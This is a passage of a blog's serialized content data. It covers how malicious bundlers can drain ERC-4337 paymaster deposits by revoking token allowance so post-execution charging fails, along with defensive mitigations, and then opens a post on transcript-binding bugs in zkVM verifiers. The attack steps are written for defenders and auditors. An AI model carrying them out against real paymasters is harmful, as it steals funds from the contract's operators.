",{"type":24,"tag":90,"props":108881,"children":108882},{"style":120},[108883],{"type":29,"value":5491},{"type":24,"tag":90,"props":108885,"children":108886},{"style":108},[108887],{"type":29,"value":108888}," _expectedPenaltyGasCost",{"type":24,"tag":90,"props":108890,"children":108891},{"style":114},[108892],{"type":29,"value":680},{"type":24,"tag":90,"props":108894,"children":108895},{"class":92,"line":574},[108896],{"type":24,"tag":90,"props":108897,"children":108898},{"style":114},[108899],{"type":29,"value":108900}," _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":24,"tag":90,"props":108902,"children":108903},{"class":92,"line":606},[108904],{"type":24,"tag":90,"props":108905,"children":108906},{"style":114},[108907],{"type":29,"value":788},{"type":24,"tag":90,"props":108909,"children":108910},{"class":92,"line":615},[108911],{"type":24,"tag":90,"props":108912,"children":108913},{"emptyLinePlaceholder":16},[108914],{"type":29,"value":245},{"type":24,"tag":90,"props":108916,"children":108917},{"class":92,"line":623},[108918,108922,108926,108930,108935,108939],{"type":24,"tag":90,"props":108919,"children":108920},{"style":146},[108921],{"type":29,"value":91839},{"type":24,"tag":90,"props":108923,"children":108924},{"style":114},[108925],{"type":29,"value":105937},{"type":24,"tag":90,"props":108927,"children":108928},{"style":120},[108929],{"type":29,"value":5491},{"type":24,"tag":90,"props":108931,"children":108932},{"style":114},[108933],{"type":29,"value":108934}," _actualGasCost ",{"type":24,"tag":90,"props":108936,"children":108937},{"style":120},[108938],{"type":29,"value":6767},{"type":24,"tag":90,"props":108940,"children":108941},{"style":114},[108942],{"type":29,"value":108943}," expectedPenaltyGasCost;\n",{"type":24,"tag":90,"props":108945,"children":108946},{"class":92,"line":632},[108947],{"type":24,"tag":90,"props":108948,"children":108949},{"emptyLinePlaceholder":16},[108950],{"type":29,"value":245},{"type":24,"tag":90,"props":108952,"children":108953},{"class":92,"line":669},[108954,108958,108963],{"type":24,"tag":90,"props":108955,"children":108956},{"style":146},[108957],{"type":29,"value":91839},{"type":24,"tag":90,"props":108959,"children":108960},{"style":114},[108961],{"type":29,"value":108962}," costInToken ",{"type":24,"tag":90,"props":108964,"children":108965},{"style":120},[108966],{"type":29,"value":1183},{"type":24,"tag":90,"props":108968,"children":108969},{"class":92,"line":683},[108970,108975,108980,108984],{"type":24,"tag":90,"props":108971,"children":108972},{"style":108},[108973],{"type":29,"value":108974}," getCostInToken",{"type":24,"tag":90,"props":108976,"children":108977},{"style":114},[108978],{"type":29,"value":108979},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":24,"tag":90,"props":108981,"children":108982},{"style":120},[108983],{"type":29,"value":6767},{"type":24,"tag":90,"props":108985,"children":108986},{"style":114},[108987],{"type":29,"value":108988}," ctx.constantFee;\n",{"type":24,"tag":90,"props":108990,"children":108991},{"class":92,"line":737},[108992],{"type":24,"tag":90,"props":108993,"children":108994},{"emptyLinePlaceholder":16},[108995],{"type":29,"value":245},{"type":24,"tag":90,"props":108997,"children":108998},{"class":92,"line":751},[108999,109003,109008],{"type":24,"tag":90,"props":109000,"children":109001},{"style":146},[109002],{"type":29,"value":91839},{"type":24,"tag":90,"props":109004,"children":109005},{"style":114},[109006],{"type":29,"value":109007}," absoluteCostInToken ",{"type":24,"tag":90,"props":109009,"children":109010},{"style":120},[109011],{"type":29,"value":1183},{"type":24,"tag":90,"props":109013,"children":109014},{"class":92,"line":782},[109015,109020,109024,109029,109033,109037,109041,109045,109049,109053,109057],{"type":24,"tag":90,"props":109016,"children":109017},{"style":114},[109018],{"type":29,"value":109019}," costInToken ",{"type":24,"tag":90,"props":109021,"children":109022},{"style":120},[109023],{"type":29,"value":12830},{"type":24,"tag":90,"props":109025,"children":109026},{"style":114},[109027],{"type":29,"value":109028}," ctx.preFundCharged ",{"type":24,"tag":90,"props":109030,"children":109031},{"style":120},[109032],{"type":29,"value":714},{"type":24,"tag":90,"props":109034,"children":109035},{"style":114},[109036],{"type":29,"value":108962},{"type":24,"tag":90,"props":109038,"children":109039},{"style":120},[109040],{"type":29,"value":346},{"type":24,"tag":90,"props":109042,"children":109043},{"style":114},[109044],{"type":29,"value":109028},{"type":24,"tag":90,"props":109046,"children":109047},{"style":120},[109048],{"type":29,"value":78},{"type":24,"tag":90,"props":109050,"children":109051},{"style":114},[109052],{"type":29,"value":109028},{"type":24,"tag":90,"props":109054,"children":109055},{"style":120},[109056],{"type":29,"value":346},{"type":24,"tag":90,"props":109058,"children":109059},{"style":114},[109060],{"type":29,"value":109061}," costInToken;\n",{"type":24,"tag":90,"props":109063,"children":109064},{"class":92,"line":791},[109065],{"type":24,"tag":90,"props":109066,"children":109067},{"emptyLinePlaceholder":16},[109068],{"type":29,"value":245},{"type":24,"tag":90,"props":109070,"children":109071},{"class":92,"line":799},[109072,109077,109081],{"type":24,"tag":90,"props":109073,"children":109074},{"style":114},[109075],{"type":29,"value":109076}," SafeTransferLib.",{"type":24,"tag":90,"props":109078,"children":109079},{"style":108},[109080],{"type":29,"value":105468},{"type":24,"tag":90,"props":109082,"children":109083},{"style":114},[109084],{"type":29,"value":680},{"type":24,"tag":90,"props":109086,"children":109087},{"class":92,"line":807},[109088],{"type":24,"tag":90,"props":109089,"children":109090},{"style":114},[109091],{"type":29,"value":109092}," ctx.token,\n",{"type":24,"tag":90,"props":109094,"children":109095},{"class":92,"line":821},[109096,109100,109104,109108,109112,109117,109121],{"type":24,"tag":90,"props":109097,"children":109098},{"style":114},[109099],{"type":29,"value":109019},{"type":24,"tag":90,"props":109101,"children":109102},{"style":120},[109103],{"type":29,"value":12830},{"type":24,"tag":90,"props":109105,"children":109106},{"style":114},[109107],{"type":29,"value":109028},{"type":24,"tag":90,"props":109109,"children":109110},{"style":120},[109111],{"type":29,"value":714},{"type":24,"tag":90,"props":109113,"children":109114},{"style":114},[109115],{"type":29,"value":109116}," ctx.sender ",{"type":24,"tag":90,"props":109118,"children":109119},{"style":120},[109120],{"type":29,"value":78},{"type":24,"tag":90,"props":109122,"children":109123},{"style":114},[109124],{"type":29,"value":109125}," ctx.treasury,\n",{"type":24,"tag":90,"props":109127,"children":109128},{"class":92,"line":6278},[109129,109133,109137,109141,109145,109150,109154],{"type":24,"tag":90,"props":109130,"children":109131},{"style":114},[109132],{"type":29,"value":109019},{"type":24,"tag":90,"props":109134,"children":109135},{"style":120},[109136],{"type":29,"value":12830},{"type":24,"tag":90,"props":109138,"children":109139},{"style":114},[109140],{"type":29,"value":109028},{"type":24,"tag":90,"props":109142,"children":109143},{"style":120},[109144],{"type":29,"value":714},{"type":24,"tag":90,"props":109146,"children":109147},{"style":114},[109148],{"type":29,"value":109149}," ctx.treasury ",{"type":24,"tag":90,"props":109151,"children":109152},{"style":120},[109153],{"type":29,"value":78},{"type":24,"tag":90,"props":109155,"children":109156},{"style":114},[109157],{"type":29,"value":109158}," ctx.sender,\n",{"type":24,"tag":90,"props":109160,"children":109161},{"class":92,"line":11420},[109162],{"type":24,"tag":90,"props":109163,"children":109164},{"style":114},[109165],{"type":29,"value":109166}," absoluteCostInToken\n",{"type":24,"tag":90,"props":109168,"children":109169},{"class":92,"line":11438},[109170],{"type":24,"tag":90,"props":109171,"children":109172},{"style":114},[109173],{"type":29,"value":788},{"type":24,"tag":90,"props":109175,"children":109176},{"class":92,"line":11483},[109177],{"type":24,"tag":90,"props":109178,"children":109179},{"emptyLinePlaceholder":16},[109180],{"type":29,"value":245},{"type":24,"tag":90,"props":109182,"children":109183},{"class":92,"line":11589},[109184,109188,109193,109197,109202,109206,109211,109215,109220],{"type":24,"tag":90,"props":109185,"children":109186},{"style":146},[109187],{"type":29,"value":91839},{"type":24,"tag":90,"props":109189,"children":109190},{"style":114},[109191],{"type":29,"value":109192}," preFundInToken ",{"type":24,"tag":90,"props":109194,"children":109195},{"style":120},[109196],{"type":29,"value":5491},{"type":24,"tag":90,"props":109198,"children":109199},{"style":114},[109200],{"type":29,"value":109201}," (ctx.preFund ",{"type":24,"tag":90,"props":109203,"children":109204},{"style":120},[109205],{"type":29,"value":983},{"type":24,"tag":90,"props":109207,"children":109208},{"style":114},[109209],{"type":29,"value":109210}," ctx.exchangeRate) ",{"type":24,"tag":90,"props":109212,"children":109213},{"style":120},[109214],{"type":29,"value":6966},{"type":24,"tag":90,"props":109216,"children":109217},{"style":349},[109218],{"type":29,"value":109219}," 1e18",{"type":24,"tag":90,"props":109221,"children":109222},{"style":114},[109223],{"type":29,"value":381},{"type":24,"tag":90,"props":109225,"children":109226},{"class":92,"line":25306},[109227],{"type":24,"tag":90,"props":109228,"children":109229},{"emptyLinePlaceholder":16},[109230],{"type":29,"value":245},{"type":24,"tag":90,"props":109232,"children":109233},{"class":92,"line":25341},[109234,109238,109243,109247,109251,109255,109259,109263,109267,109271,109275],{"type":24,"tag":90,"props":109235,"children":109236},{"style":636},[109237],{"type":29,"value":5667},{"type":24,"tag":90,"props":109239,"children":109240},{"style":114},[109241],{"type":29,"value":109242}," (ctx.recipient ",{"type":24,"tag":90,"props":109244,"children":109245},{"style":120},[109246],{"type":29,"value":2196},{"type":24,"tag":90,"props":109248,"children":109249},{"style":146},[109250],{"type":29,"value":8635},{"type":24,"tag":90,"props":109252,"children":109253},{"style":114},[109254],{"type":29,"value":117},{"type":24,"tag":90,"props":109256,"children":109257},{"style":349},[109258],{"type":29,"value":6408},{"type":24,"tag":90,"props":109260,"children":109261},{"style":114},[109262],{"type":29,"value":172},{"type":24,"tag":90,"props":109264,"children":109265},{"style":120},[109266],{"type":29,"value":75025},{"type":24,"tag":90,"props":109268,"children":109269},{"style":114},[109270],{"type":29,"value":109192},{"type":24,"tag":90,"props":109272,"children":109273},{"style":120},[109274],{"type":29,"value":12830},{"type":24,"tag":90,"props":109276,"children":109277},{"style":114},[109278],{"type":29,"value":109279}," costInToken) {\n",{"type":24,"tag":90,"props":109281,"children":109282},{"class":92,"line":25349},[109283,109288,109292,109297,109301],{"type":24,"tag":90,"props":109284,"children":109285},{"style":114},[109286],{"type":29,"value":109287}," SafeTransferLib.",{"type":24,"tag":90,"props":109289,"children":109290},{"style":108},[109291],{"type":29,"value":105468},{"type":24,"tag":90,"props":109293,"children":109294},{"style":114},[109295],{"type":29,"value":109296},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":24,"tag":90,"props":109298,"children":109299},{"style":120},[109300],{"type":29,"value":346},{"type":24,"tag":90,"props":109302,"children":109303},{"style":114},[109304],{"type":29,"value":109305}," costInToken);\n",{"type":24,"tag":90,"props":109307,"children":109308},{"class":92,"line":25357},[109309],{"type":24,"tag":90,"props":109310,"children":109311},{"style":114},[109312],{"type":29,"value":5740},{"type":24,"tag":90,"props":109314,"children":109315},{"class":92,"line":25366},[109316],{"type":24,"tag":90,"props":109317,"children":109318},{"emptyLinePlaceholder":16},[109319],{"type":29,"value":245},{"type":24,"tag":90,"props":109321,"children":109322},{"class":92,"line":25408},[109323,109328,109332],{"type":24,"tag":90,"props":109324,"children":109325},{"style":636},[109326],{"type":29,"value":109327}," emit",{"type":24,"tag":90,"props":109329,"children":109330},{"style":108},[109331],{"type":29,"value":106202},{"type":24,"tag":90,"props":109333,"children":109334},{"style":114},[109335],{"type":29,"value":109336},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":24,"tag":90,"props":109338,"children":109339},{"class":92,"line":25441},[109340],{"type":24,"tag":90,"props":109341,"children":109342},{"style":114},[109343],{"type":29,"value":612},{"type":24,"tag":25,"props":109345,"children":109346},{},[109347,109349,109354,109356,109362,109364,109370,109372,109377,109379,109384],{"type":29,"value":109348},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":24,"tag":32,"props":109350,"children":109352},{"className":109351},[],[109353],{"type":29,"value":105468},{"type":29,"value":109355},". Note that ",{"type":24,"tag":32,"props":109357,"children":109359},{"className":109358},[],[109360],{"type":29,"value":109361},"preFundCharged",{"type":29,"value":109363}," can be zero, as users can opt out of any ",{"type":24,"tag":32,"props":109365,"children":109367},{"className":109366},[],[109368],{"type":29,"value":109369},"preFund",{"type":29,"value":109371}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":24,"tag":32,"props":109373,"children":109375},{"className":109374},[],[109376],{"type":29,"value":106269},{"type":29,"value":109378}," call inside ",{"type":24,"tag":32,"props":109380,"children":109382},{"className":109381},[],[109383],{"type":29,"value":107353},{"type":29,"value":109385}," will revert and the paymaster won't be able to collect payment from the user.",{"type":24,"tag":25,"props":109387,"children":109388},{},[109389,109391,109396,109398,109404,109406,109412],{"type":29,"value":109390},"However, even when ",{"type":24,"tag":32,"props":109392,"children":109394},{"className":109393},[],[109395],{"type":29,"value":106269},{"type":29,"value":109397}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":24,"tag":32,"props":109399,"children":109401},{"className":109400},[],[109402],{"type":29,"value":109403},"requiredPrefund",{"type":29,"value":109405}," was taken from the paymaster's ",{"type":24,"tag":69,"props":109407,"children":109410},{"href":109408,"rel":109409},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[73],[109411],{"type":29,"value":63789},{"type":29,"value":226},{"type":24,"tag":25,"props":109414,"children":109415},{},[109416,109418,109423],{"type":29,"value":109417},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":24,"tag":32,"props":109419,"children":109421},{"className":109420},[],[109422],{"type":29,"value":106269},{"type":29,"value":109424}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":24,"tag":3100,"props":109426,"children":109427},{},[109428,109446,109465,109476,109481],{"type":24,"tag":3104,"props":109429,"children":109430},{},[109431,109433,109438,109440],{"type":29,"value":109432},"The bundler creates a ",{"type":24,"tag":32,"props":109434,"children":109436},{"className":109435},[],[109437],{"type":29,"value":104012},{"type":29,"value":109439}," with an intentionally high ",{"type":24,"tag":32,"props":109441,"children":109443},{"className":109442},[],[109444],{"type":29,"value":109445},"gasPrice",{"type":24,"tag":3104,"props":109447,"children":109448},{},[109449,109451,109456,109458,109463],{"type":29,"value":109450},"The bundler ensures the ",{"type":24,"tag":32,"props":109452,"children":109454},{"className":109453},[],[109455],{"type":29,"value":106269},{"type":29,"value":109457}," call will fail by revoking the paymaster's token allowance before ",{"type":24,"tag":32,"props":109459,"children":109461},{"className":109460},[],[109462],{"type":29,"value":106269},{"type":29,"value":109464}," executes",{"type":24,"tag":3104,"props":109466,"children":109467},{},[109468,109469,109474],{"type":29,"value":65181},{"type":24,"tag":32,"props":109470,"children":109472},{"className":109471},[],[109473],{"type":29,"value":106269},{"type":29,"value":109475}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":24,"tag":3104,"props":109477,"children":109478},{},[109479],{"type":29,"value":109480},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":24,"tag":3104,"props":109482,"children":109483},{},[109484],{"type":29,"value":109485},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":24,"tag":25,"props":109487,"children":109488},{},[109489,109491,109496,109498,109503],{"type":29,"value":109490},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":24,"tag":32,"props":109492,"children":109494},{"className":109493},[],[109495],{"type":29,"value":104041},{"type":29,"value":109497}," designed to fail during ",{"type":24,"tag":32,"props":109499,"children":109501},{"className":109500},[],[109502],{"type":29,"value":106269},{"type":29,"value":109504}," while maximizing the gas costs they can charge to the paymaster.",{"type":24,"tag":25,"props":109506,"children":109507},{},[109508,109510,109515,109517,109522,109524,109530,109532,109537],{"type":29,"value":109509},"Some paymasters try to protect against this by simulating the ",{"type":24,"tag":32,"props":109511,"children":109513},{"className":109512},[],[109514],{"type":29,"value":104012},{"type":29,"value":109516}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":24,"tag":32,"props":109518,"children":109520},{"className":109519},[],[109521],{"type":29,"value":104012},{"type":29,"value":109523}," is submitted via ",{"type":24,"tag":32,"props":109525,"children":109527},{"className":109526},[],[109528],{"type":29,"value":109529},"handleOps",{"type":29,"value":109531},". This means the ",{"type":24,"tag":32,"props":109533,"children":109535},{"className":109534},[],[109536],{"type":29,"value":106269},{"type":29,"value":109538}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":24,"tag":25,"props":109540,"children":109541},{},[109542],{"type":29,"value":109543},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":24,"tag":25,"props":109545,"children":109546},{},[109547],{"type":29,"value":109548},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":24,"tag":25,"props":109550,"children":109551},{},[109552],{"type":29,"value":109553},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":24,"tag":37188,"props":109555,"children":109556},{"id":30743},[109557],{"type":29,"value":20741},{"type":24,"tag":25,"props":109559,"children":109560},{},[109561],{"type":29,"value":109562},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":24,"tag":3100,"props":109564,"children":109565},{},[109566,109571,109576,109581,109586],{"type":24,"tag":3104,"props":109567,"children":109568},{},[109569],{"type":29,"value":109570},"Always collect full payment during validation, not after execution",{"type":24,"tag":3104,"props":109572,"children":109573},{},[109574],{"type":29,"value":109575},"Be conservative with gas estimations and include safety margins",{"type":24,"tag":3104,"props":109577,"children":109578},{},[109579],{"type":29,"value":109580},"Carefully validate all user inputs and token transfers",{"type":24,"tag":3104,"props":109582,"children":109583},{},[109584],{"type":29,"value":109585},"Test extensively, including simulation of malicious behavior",{"type":24,"tag":3104,"props":109587,"children":109588},{},[109589,109591,109596],{"type":29,"value":109590},"Always review changes in new ",{"type":24,"tag":32,"props":109592,"children":109594},{"className":109593},[],[109595],{"type":29,"value":104093},{"type":29,"value":109597}," versions, as they may impact your paymaster's design and security assumptions",{"type":24,"tag":25,"props":109599,"children":109600},{},[109601,109603,109608,109610,109615,109617,109622],{"type":29,"value":109602},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":24,"tag":32,"props":109604,"children":109606},{"className":109605},[],[109607],{"type":29,"value":104093},{"type":29,"value":109609}," contract's behavior could potentially break existing ",{"type":24,"tag":32,"props":109611,"children":109613},{"className":109612},[],[109614],{"type":29,"value":104165},{"type":29,"value":109616}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":24,"tag":32,"props":109618,"children":109620},{"className":109619},[],[109621],{"type":29,"value":104093},{"type":29,"value":109623}," versions.",{"type":24,"tag":25,"props":109625,"children":109626},{},[109627],{"type":29,"value":109628},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":24,"tag":25,"props":109630,"children":109631},{},[109632],{"type":29,"value":109633},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":24,"tag":5249,"props":109635,"children":109636},{},[109637],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":109639},[109640,109641,109642,109649,109654,109655],{"id":103927,"depth":200,"text":103930},{"id":103943,"depth":200,"text":103946},{"id":103982,"depth":200,"text":103985,"children":109643},[109644,109645,109646,109647,109648],{"id":104005,"depth":239,"text":104012},{"id":104046,"depth":239,"text":104049},{"id":104072,"depth":239,"text":104075},{"id":1216,"depth":239,"text":104093},{"id":104165,"depth":239,"text":104176},{"id":104228,"depth":200,"text":109650,"children":109651},"Understanding the EntryPoint's Flow",[109652,109653],{"id":104284,"depth":239,"text":104287},{"id":104469,"depth":239,"text":104472},{"id":104712,"depth":200,"text":104718},{"id":106312,"depth":200,"text":106318,"children":109656},[109657,109658],{"id":106372,"depth":239,"text":106375},{"id":106432,"depth":239,"text":106435},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":109663,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":109664,"description":109665,"date":109666,"author":109667,"image":109670,"isFeatured":16,"onBlogPage":16,"tags":109672,"body":109674,"_type":5270,"_id":125479,"_source":5272,"_file":125480,"_stem":125481,"_extension":5275},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[109668,109669],"himanshu","valter",{"src":109671,"width":99098,"height":14},"/posts/zkvms-unfaithful-claims/title.png",[109673],"zkVM",{"type":21,"children":109675,"toc":125443},[109676,109681,109723,109736,109739,109745,109750,109878,109881,109887,109893,109898,109930,110078,110083,110206,110217,110228,110251,110262,110267,110300,110308,110313,110316,110322,110327,110333,110338,110343,110351,110369,110510,110515,110521,110614,111348,111416,111427,111435,111909,111915,112354,112694,112847,112852,113740,113896,113902,113994,113999,114584,115034,115110,115116,115121,115190,115200,115216,115226,115287,115706,115738,115748,115923,115928,115938,116538,116726,116744,116747,116753,116758,116766,116798,117160,117165,117250,117253,117259,117267,117272,117275,117281,117286,117294,117302,117310,117318,117351,117359,117367,117458,117709,118036,118044,118074,118244,118570,118575,118580,118597,118600,118605,118610,118622,118634,119225,119237,119249,119256,119264,119276,119284,119299,119304,119584,119603,119698,119717,119733,119736,119742,119747,119752,119759,119767,119774,119782,119795,119813,120273,120375,120380,120385,120401,120404,120410,120415,120427,120438,120443,120833,120840,120848,120873,120893,121149,121160,121179,121563,121909,122139,122298,122458,123026,123031,123057,123060,123066,123071,123078,123086,123099,123171,123182,123190,123200,123208,123219,123493,123582,123611,123614,123619,123753,123765,123772,123777,123930,123956,123963,123971,123976,124042,124047,124437,124524,124540,124543,124549,124554,124560,124660,124719,124724,124730,124735,124743,124748,124754,124759,124764,124770,124775,124778,124784,124790,124795,124800,124805,124810,124815,124818,124824,124987,124992,124995,125000,125011,125328,125333,125357,125362,125380,125385,125388,125394,125399,125404,125414,125419,125429,125439],{"type":24,"tag":25,"props":109677,"children":109678},{},[109679],{"type":29,"value":109680},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":24,"tag":25,"props":109682,"children":109683},{},[109684,109686,109691,109692,109697,109698,109703,109704,109709,109710,109715,109716,109721],{"type":29,"value":109685},"We found six systems where this faithfulness breaks. Across ",{"type":24,"tag":7711,"props":109687,"children":109688},{},[109689],{"type":29,"value":109690},"Jolt",{"type":29,"value":133},{"type":24,"tag":7711,"props":109693,"children":109694},{},[109695],{"type":29,"value":109696},"Nexus",{"type":29,"value":133},{"type":24,"tag":7711,"props":109699,"children":109700},{},[109701],{"type":29,"value":109702},"Cairo-M",{"type":29,"value":133},{"type":24,"tag":7711,"props":109705,"children":109706},{},[109707],{"type":29,"value":109708},"Ceno",{"type":29,"value":133},{"type":24,"tag":7711,"props":109711,"children":109712},{},[109713],{"type":29,"value":109714},"Expander",{"type":29,"value":8872},{"type":24,"tag":7711,"props":109717,"children":109718},{},[109719],{"type":29,"value":109720},"Binius64",{"type":29,"value":109722},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":24,"tag":25,"props":109724,"children":109725},{},[109726,109728,109734],{"type":29,"value":109727},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":24,"tag":69,"props":109729,"children":109731},{"href":109730},"#challenges",[109732],{"type":29,"value":109733},"Challenges",{"type":29,"value":109735}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":24,"tag":20586,"props":109737,"children":109738},{},[],{"type":24,"tag":850,"props":109740,"children":109742},{"id":109741},"jargon-cheat-sheet",[109743],{"type":29,"value":109744},"Jargon Cheat Sheet",{"type":24,"tag":25,"props":109746,"children":109747},{},[109748],{"type":29,"value":109749},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":24,"tag":3207,"props":109751,"children":109752},{},[109753,109763,109773,109783,109793,109803,109813,109823,109833,109843,109853,109863],{"type":24,"tag":3104,"props":109754,"children":109755},{},[109756,109761],{"type":24,"tag":7711,"props":109757,"children":109758},{},[109759],{"type":29,"value":109760},"Fiat-Shamir",{"type":29,"value":109762},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":24,"tag":3104,"props":109764,"children":109765},{},[109766,109771],{"type":24,"tag":7711,"props":109767,"children":109768},{},[109769],{"type":29,"value":109770},"Transcript",{"type":29,"value":109772},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":24,"tag":3104,"props":109774,"children":109775},{},[109776,109781],{"type":24,"tag":7711,"props":109777,"children":109778},{},[109779],{"type":29,"value":109780},"Polynomial Commitment",{"type":29,"value":109782},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":24,"tag":3104,"props":109784,"children":109785},{},[109786,109791],{"type":24,"tag":7711,"props":109787,"children":109788},{},[109789],{"type":29,"value":109790},"Sumcheck",{"type":29,"value":109792},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":24,"tag":3104,"props":109794,"children":109795},{},[109796,109801],{"type":24,"tag":7711,"props":109797,"children":109798},{},[109799],{"type":29,"value":109800},"MLE (Multilinear Extension)",{"type":29,"value":109802},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":24,"tag":3104,"props":109804,"children":109805},{},[109806,109811],{"type":24,"tag":7711,"props":109807,"children":109808},{},[109809],{"type":29,"value":109810},"Lookup / LogUp",{"type":29,"value":109812},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":24,"tag":3104,"props":109814,"children":109815},{},[109816,109821],{"type":24,"tag":7711,"props":109817,"children":109818},{},[109819],{"type":29,"value":109820},"AIR",{"type":29,"value":109822},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":24,"tag":3104,"props":109824,"children":109825},{},[109826,109831],{"type":24,"tag":7711,"props":109827,"children":109828},{},[109829],{"type":29,"value":109830},"STARK",{"type":29,"value":109832},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":24,"tag":3104,"props":109834,"children":109835},{},[109836,109841],{"type":24,"tag":7711,"props":109837,"children":109838},{},[109839],{"type":29,"value":109840},"FRI",{"type":29,"value":109842},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":24,"tag":3104,"props":109844,"children":109845},{},[109846,109851],{"type":24,"tag":7711,"props":109847,"children":109848},{},[109849],{"type":29,"value":109850},"OODS",{"type":29,"value":109852},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":24,"tag":3104,"props":109854,"children":109855},{},[109856,109861],{"type":24,"tag":7711,"props":109857,"children":109858},{},[109859],{"type":29,"value":109860},"GKR",{"type":29,"value":109862},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":24,"tag":3104,"props":109864,"children":109865},{},[109866,109871,109873],{"type":24,"tag":7711,"props":109867,"children":109868},{},[109869],{"type":29,"value":109870},"claimed_sum / opening_claim",{"type":29,"value":109872},": Prover-supplied values that feed into verification equations. ",{"type":24,"tag":7711,"props":109874,"children":109875},{},[109876],{"type":29,"value":109877},"These are the usual suspects for binding bugs.",{"type":24,"tag":20586,"props":109879,"children":109880},{},[],{"type":24,"tag":850,"props":109882,"children":109884},{"id":109883},"what-are-we-even-breaking",[109885],{"type":29,"value":109886},"What Are We Even Breaking?",{"type":24,"tag":1019,"props":109888,"children":109890},{"id":109889},"what-is-a-zkvm",[109891],{"type":29,"value":109892},"What is a zkVM?",{"type":24,"tag":25,"props":109894,"children":109895},{},[109896],{"type":29,"value":109897},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":24,"tag":25,"props":109899,"children":109900},{},[109901,109903,109928],{"type":29,"value":109902},"Formally, the verifier is convinced that there exists a valid trace 